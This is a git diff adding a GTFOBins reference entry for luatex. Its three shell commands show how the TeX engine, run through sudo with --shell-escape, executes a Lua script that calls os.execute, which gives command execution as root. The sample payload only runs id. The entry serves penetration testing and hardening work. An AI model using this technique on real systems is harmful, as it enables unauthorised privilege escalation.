diff --git a/_gtfobins/luatex.md b/_gtfobins/luatex.md
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+description: `luatex` allows to call external [`lua`](/gtfobins/lua/) scripts.
+functions:
+  sudo:
+    - code: |
+        echo '\documentclass{article} \usepackage{luacode} \begin{document} \def\foo{\directlua{dofile("runfunc.lua")}} \foo \end{document}' > file.tex
+        echo 'os.execute("/usr/bin/id")' > runfunc.lua
+        luatex --interaction=nonstopmode --shell-escape file.tex